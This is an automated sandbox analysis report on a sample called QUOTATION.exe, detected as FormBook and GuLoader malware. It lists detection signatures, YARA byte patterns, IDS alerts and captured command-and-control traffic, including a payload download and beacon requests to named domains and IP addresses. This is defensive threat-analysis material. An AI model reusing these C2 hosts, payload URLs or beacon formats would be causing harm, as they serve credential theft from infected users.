Edit tour

Windows Analysis Report
QUOTATION.exe

Overview

General Information

Sample Name:	QUOTATION.exe
Analysis ID:	830630
MD5:	9f23ccacd955392c62b1b5d4be4ed690
SHA1:	d7c9c869add707b5b41a1f11f5c82bba94eabbd7
SHA256:	7b8d50ac67b2f0de5e35909025cc1a8d15f5edd18675878c7aaa31e3fe83a9fd
Infos:

Detection

FormBook, GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected FormBook

Malicious sample detected (through community Yara rule)

System process connects to network (likely due to code injection or exploit)

Yara detected GuLoader

Snort IDS alert for network traffic

Sample uses process hollowing technique

Tries to steal Mail credentials (via file / registry access)

Maps a DLL or memory area into another process

Initial sample is a PE file and has a suspicious name

Writes to foreign memory regions

Tries to detect Any.run

Performs DNS queries to domains with low reputation

Injects a PE file into a foreign processes

Yara detected Generic Downloader

Queues an APC in another process (thread injection)

Modifies the context of a thread in another process (thread injection)

Found potential ransomware demand text

Tries to harvest and steal browser information (history, passwords, etc)

Uses 32bit PE files

Yara signature match

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

PE file contains executable resources (Code or Archives)

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

PE file does not import any functions

Sample file is different than original file name gathered from version info

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Checks if the current process is being debugged

Binary contains a suspicious time stamp

PE / OLE file has an invalid certificate

PE file contains more sections than normal

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w10x64native

QUOTATION.exe (PID: 948 cmdline: C:\Users\user\Desktop\QUOTATION.exe MD5: 9F23CCACD955392C62B1B5D4BE4ED690)

QUOTATION.exe (PID: 7268 cmdline: C:\Users\user\Desktop\QUOTATION.exe MD5: 9F23CCACD955392C62B1B5D4BE4ED690)

explorer.exe (PID: 4812 cmdline: C:\Windows\Explorer.EXE MD5: 5EA66FF5AE5612F921BC9DA23BAC95F7)

help.exe (PID: 5688 cmdline: C:\Windows\SysWOW64\help.exe MD5: DD40774E56D4C44B81F2DFA059285E75)

firefox.exe (PID: 7032 cmdline: C:\Program Files\Mozilla Firefox\Firefox.exe MD5: FA9F4FC5D7ECAB5A20BF7A9D1251C851)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://asec.ahnlab.com/en/32149/ https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://blog.malwarebytes.com/scams/2020/08/sba-phishing-scams-from-malware-to-advanced-social-engineering/ https://blog.morphisec.com/guloader-the-rat-downloader https://blog.vincss.net/2020/05/re014-guloader-antivm-techniques.html https://cert-agid.gov.it/news/malware/tecniche-per-semplificare-lanalisi-del-malware-guloader/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\hamotzi\System.dll	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Industrialization\Snoldets\Embrocates\Utaalmodiges.Taa169	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000008.00000002.4281303153.0000000000060000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000008.00000002.4281303153.0000000000060000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x180e5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x17b81:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x181e7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1835f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xaa1a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x16dcc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x1de67:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ee1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000008.00000002.4281303153.0000000000060000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x1f0b0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xae4f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x182e7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
0000000A.00000002.7993766326.0000000003200000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000A.00000002.7993766326.0000000003200000.00000040.80000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x180e5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x17b81:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x181e7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1835f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xaa1a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x16dcc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x1de67:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ee1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000A.00000002.7993766326.0000000003200000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x1f0b0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xae4f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x182e7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000002.00000003.3060874680.00000000028C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
0000000A.00000002.7999850935.0000000003760000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000A.00000002.7999850935.0000000003760000.00000004.00000800.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x180e5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x17b81:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x181e7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1835f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xaa1a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x16dcc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x1de67:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ee1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000A.00000002.7999850935.0000000003760000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x1f0b0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xae4f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x182e7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
0000000A.00000002.7994581430.0000000003380000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000A.00000002.7994581430.0000000003380000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x180e5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x17b81:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x181e7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1835f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xaa1a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x16dcc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x1de67:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ee1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000A.00000002.7994581430.0000000003380000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x1f0b0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xae4f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x182e7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000008.00000002.4282173420.0000000001660000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
00000008.00000002.4281579504.0000000000090000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000008.00000002.4281579504.0000000000090000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x180e5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x17b81:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x181e7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1835f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xaa1a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x16dcc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x1de67:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ee1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000008.00000002.4281579504.0000000000090000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x1f0b0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xae4f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x182e7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000002.00000002.3674014091.0000000004E80000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
00000002.00000002.3674014091.0000000004F87000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Click to see the 14 entries

Snort Signatures

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 2.57.90.16

Timestamp:	192.168.11.202.57.90.1649909802031412 03/20/23-15:24:14.014424
SID:	2031412
Source Port:	49909
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 199.192.26.35

Timestamp:	192.168.11.20199.192.26.3549877802031449 03/20/23-15:21:09.812328
SID:	2031449
Source Port:	49877
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 34.117.168.233

Timestamp:	192.168.11.2034.117.168.23349886802031453 03/20/23-15:21:43.461874
SID:	2031453
Source Port:	49886
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 2.57.90.16

Timestamp:	192.168.11.202.57.90.1649909802031453 03/20/23-15:24:14.014424
SID:	2031453
Source Port:	49909
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 199.192.26.35

Timestamp:	192.168.11.20199.192.26.3549877802031453 03/20/23-15:21:09.812328
SID:	2031453
Source Port:	49877
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 34.117.168.233

Timestamp:	192.168.11.2034.117.168.23349886802031449 03/20/23-15:21:43.461874
SID:	2031449
Source Port:	49886
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 34.117.168.233

Timestamp:	192.168.11.2034.117.168.23349886802031412 03/20/23-15:21:43.461874
SID:	2031412
Source Port:	49886
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 2.57.90.16

Timestamp:	192.168.11.202.57.90.1649909802031449 03/20/23-15:24:14.014424
SID:	2031449
Source Port:	49909
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 199.192.26.35

Timestamp:	192.168.11.20199.192.26.3549877802031412 03/20/23-15:21:09.812328
SID:	2031412
Source Port:	49877
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /d91r/ HTTP/1.1Host: www.cardinialethanol.comConnection: closeContent-Length: 184Cache-Control: no-cacheOrigin: http://www.cardinialethanol.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.cardinialethanol.com/d91r/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 70 4f 3d 38 48 4c 51 72 42 73 6a 77 64 65 56 55 5f 33 79 73 58 4f 4f 45 48 79 6b 4c 70 76 52 41 71 75 70 6b 59 33 32 72 75 4e 52 6a 51 42 61 74 61 50 34 46 66 4a 5f 37 36 4a 6c 4f 46 62 59 34 51 6b 36 56 33 68 46 64 54 61 6a 74 4e 38 30 49 78 51 45 59 58 45 6c 54 37 30 76 5a 6f 65 4f 64 51 54 6f 54 6d 6c 58 72 36 53 75 34 69 6e 5a 6c 4b 77 6d 52 35 7a 52 4a 4f 68 79 76 67 6a 79 64 6f 6a 75 78 4b 56 6d 55 5a 57 69 59 70 38 72 4b 49 57 43 51 48 74 64 61 74 50 4d 62 73 28 32 39 72 56 32 44 59 47 69 75 39 51 58 6e 37 50 42 30 77 50 61 57 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=8HLQrBsjwdeVU_3ysXOOEHykLpvRAqupkY32ruNRjQBataP4FfJ_76JlOFbY4Qk6V3hFdTajtN80IxQEYXElT70vZoeOdQToTmlXr6Su4inZlKwmR5zRJOhyvgjydojuxKVmUZWiYp8rKIWCQHtdatPMbs(29rV2DYGiu9QXn7PB0wPaWg).

Source: unknown

DNS traffic detected: queries for: www.wittofitentertainment.com

Source: global traffic	HTTP traffic detected: GET /VeHZpcMYNF28.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.wittofitentertainment.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d91r/?pO=iC4EpsnjqAMsGvgWFbn+fContgVXGATBB72AUlNsZB8RnX0iaYC7Rjz9cHXMA4a3u8hdEGRv958fgJWC172SOiEaLo/g5aJ7NA==&8H7gL=Bxcfm_qbbEGm HTTP/1.1Host: www.interactive-media.ruConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /d91r/?pO=xFjwo0xAzcGZMdvEtWe8dg3SOJilBZCwp4DaoNJ0mT1+16DKJdlGz7oyHXjYsyYKd34SXU2gi60PXCcIQ24pa/hNG6+rBSLNTw==&8H7gL=Bxcfm_qbbEGm HTTP/1.1Host: www.cardinialethanol.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /d91r/?pO=5uELbA0g21s84RfIYZefn7jmwGm7oIOOLOAnPy0CEmjl7E2osw+P2nrFQVa8XPAXlQFWR1Kf++ZUi1OuENtNpjpnS7NncHgQqw==&8H7gL=Bxcfm_qbbEGm HTTP/1.1Host: www.flaviosilva.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /d91r/?pO=7PV8upFW6FVa3k/MU+30mMAjyxriZ1cDX5oDGeg3AZSuSXraG6qqoVat6TxNWaSRWOEFtjNQc54wQIQLn7Ha+8c9lg+BGW9hdg==&8H7gL=Bxcfm_qbbEGm HTTP/1.1Host: www.solya-shop.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /d91r/?pO=mm2yDWovojsq98EVpVvEejLaRDawKnKNjB2g4hWos3CUrPXkYcC/p+nLjVs5nQU/dkGDVZ/wRxzIeHsnSgbyBomSUgQTl++E/Q==&8H7gL=Bxcfm_qbbEGm HTTP/1.1Host: www.buymyenergy.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /d91r/?pO=QRVitphc0g1OIlGqribmuO+/vkIwz3nmW5e0zmbI+ptVqgaVXv4o34I8PAy9Ptw3AL0LuNtl4GkWhRdrmVn9ER/XiJFNsBOU8g==&8H7gL=Bxcfm_qbbEGm HTTP/1.1Host: www.184411.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /d91r/?pO=A3xSHk+fyI7su/grjjiR7vS7+2q1W7vJyDCiqNYDPcjU2Prp7aaot61k+Logkh61BwiUEQE66B2EoDKGsTYBbPn+5VOUdQAbGQ==&8H7gL=Bxcfm_qbbEGm HTTP/1.1Host: www.b-tek.mediaConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /d91r/?pO=mny6VZKrhd/9NKVuKuT/s/SGWqKgSQU06gLLPmpyieItdUR08ut5ldoEEciwTOIy3aXJmehMaME22hMIN/PsdP4yT3Vly6kaHw==&8H7gL=Bxcfm_qbbEGm HTTP/1.1Host: www.dexmart.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /d91r/?pO=eODNz5pw0nGnv4SFyTaum/5/t7nqNWp+9hyyxvutUEIaFJ9+iSImfL8MjMj4uhwzobeFgf5ptQiqPWHvQt8dHyNKhUrdKKLp8Q==&8H7gL=Bxcfm_qbbEGm HTTP/1.1Host: www.maxhaidt.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /d91r/?pO=9I8nCmGbZhqNwxnuseOoBgVoo3mEoWGWlq2S/FO71IXVKobHlwQLLDq9ejz9WGKrhGOo7OtXutt8bUbRiDDVGcEjYwCLb2KUDQ==&8H7gL=Bxcfm_qbbEGm HTTP/1.1Host: www.ghostdyes.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /d91r/?pO=PMnnsBn+KIOLN/VfOifa/NU1HKCRW97HYgMDorQQf0wo2T3aBqzEKnmyN0lZa7FB9krY/amKEMrac7kP3KvtrQL60DCopbH9IA==&8H7gL=Bxcfm_qbbEGm HTTP/1.1Host: www.aznqmd.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /d91r/?pO=Cz7EdLoZVVVFkl6Al85Fq2yKknQr9MrL8MY+iTrjKvcqeI67VNXHoBdgAYm0xOpsMAVI5pfYswEw4evz8uHbKlZcCugzfDdIKQ==&8H7gL=Bxcfm_qbbEGm HTTP/1.1Host: www.texasgent.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /d91r/?pO=BFqfPYQ6Rc2mbekoZnhhN28rIM4KcYUdKeGPb5qgdPRiCoEueOOZiURhvdwkEmvoJvWE5RZiBCNwm7zhRu2A+WCDMptVnP5c5Q==&8H7gL=Bxcfm_qbbEGm HTTP/1.1Host: www.brightfms.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /d91r/?pO=hOvML0SIJI9mj/fVfRhHepYZOU2m/dN5Na3UVct1YKAZzOLDbZKzqMpLuDmWZppR8Dfu1BJtX3CBTvv/fKLJ92Wtoj7W2JzMDw==&8H7gL=Bxcfm_qbbEGm HTTP/1.1Host: www.eta-trader.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /d91r/?pO=JQY8+24Njt/kPRjDacJftkXMjEMtZDsomMU4C5dHhuIEkrjQwkIyHBDAmNyMXnYjy8/Wz0vFGvMg0maSaemc6vUg0VCqTOU0ug==&8H7gL=Bxcfm_qbbEGm HTTP/1.1Host: www.funvacayflorida.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /d91r/?pO=iC4EpsnjqAMsGvgWFbn+fContgVXGATBB72AUlNsZB8RnX0iaYC7Rjz9cHXMA4a3u8hdEGRv958fgJWC172SOiEaLo/g5aJ7NA==&8H7gL=Bxcfm_qbbEGm HTTP/1.1Host: www.interactive-media.ruConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /d91r/?pO=xFjwo0xAzcGZMdvEtWe8dg3SOJilBZCwp4DaoNJ0mT1+16DKJdlGz7oyHXjYsyYKd34SXU2gi60PXCcIQ24pa/hNG6+rBSLNTw==&8H7gL=Bxcfm_qbbEGm HTTP/1.1Host: www.cardinialethanol.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /d91r/?pO=5uELbA0g21s84RfIYZefn7jmwGm7oIOOLOAnPy0CEmjl7E2osw+P2nrFQVa8XPAXlQFWR1Kf++ZUi1OuENtNpjpnS7NncHgQqw==&8H7gL=Bxcfm_qbbEGm HTTP/1.1Host: www.flaviosilva.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /d91r/?pO=7PV8upFW6FVa3k/MU+30mMAjyxriZ1cDX5oDGeg3AZSuSXraG6qqoVat6TxNWaSRWOEFtjNQc54wQIQLn7Ha+8c9lg+BGW9hdg==&8H7gL=Bxcfm_qbbEGm HTTP/1.1Host: www.solya-shop.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: unknown

HTTPS traffic detected: 162.240.73.101:443 -> 192.168.11.20:49835 version: TLS 1.2

Source: C:\Users\user\Desktop\QUOTATION.exe

Code function: 2_2_0040523F GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

2_2_0040523F

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 00000008.00000002.4281303153.0000000000060000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.7993766326.0000000003200000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.7999850935.0000000003760000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.7994581430.0000000003380000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4281579504.0000000000090000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Spam, unwanted Advertisements and Ransom Demands

Found potential ransomware demand text

Source: help.exe, 0000000A.00000003.4515135577.0000000008590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ?unlock@MutexImpl@detail@mozilla@@IEAAXXZ
Source: help.exe, 0000000A.00000003.4515135577.0000000008590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@AEBV?$ProfilerStringView@D@1@AEBVMarkerCategory@1@$$QEAVMarkerOptions@1@UTextMarker@markers@01@AEBV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z??0PrintfTarget@mozilla@@IEAA@XZ??1MutexImpl@detail@mozilla@@QEAA@XZ??2@YAPEAX_K@Z??3@YAXPEAX@Z??3@YAXPEAX_K@Z??_U@YAPEAX_K@Z??_V@YAXPEAX@Z?BeginProcessRuntimeInit@detail@mscom@mozilla@@YAAEA_NXZ?CleanupProcessRuntime@mozilla@@YAXXZ?CreateAndStorePreXULSkeletonUI@mozilla@@YAXPEAUHINSTANCE__@@HPEAPEAD@Z?DllBlocklist_Initialize@@YAXI@Z?DllBlocklist_SetBasicDllServices@@YAXPEAVDllServicesBase@detail@glue@mozilla@@@Z?DllBlocklist_SetFullDllServices@@YAXPEAVDllServicesBase@detail@glue@mozilla@@@Z?EndProcessRuntimeInit@detail@mscom@mozilla@@YAXXZ?GetProfilingStack@AutoProfilerLabel@baseprofiler@mozilla@@SAPEAVProfilingStack@23@XZ?IsWin32kLockedDown@mozilla@@YA_NXZ?MapRemoteViewOfFile@mozilla@@YAPEAXPEAX0_K01KK@Z?Now@TimeStamp@mozilla@@CA?AV12@_N@Z?NowUnfuzzed@TimeStamp@mozilla@@CA?AV12@_N@Z?PollPreXULSkeletonUIEvents@mozilla@@YAXXZ?WindowsDpiInitialization@mozilla@@YA?AW4WindowsDpiInitializationResult@1@XZ?ensureCapacitySlow@ProfilingStack@baseprofiler@mozilla@@AEAAXXZ?gTwoCharEscapes@detail@mozilla@@3QBDB?lock@MutexImpl@detail@mozilla@@IEAAXXZ?profiler_current_thread_id@baseprofiler@mozilla@@YAHXZ?profiler_init@baseprofiler@mozilla@@YAXPEAX@Z?profiler_shutdown@baseprofiler@mozilla@@YAXXZ?unlock@MutexImpl@detail@mozilla@@IEAAXXZ?vprint@PrintfTarget@mozilla@@QEAA_NPEBDPEAD@Z_wcsdupfreemallocmoz_xmallocmozalloc_abortreallocstrdup
Source: help.exe, 0000000A.00000003.4515135577.0000000008590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ?_Unlock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@UEAAXXZ
Source: help.exe, 0000000A.00000003.4462698473.0000000007E98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ?unlock@MutexImpl@detail@mozilla@@IEAAXXZ
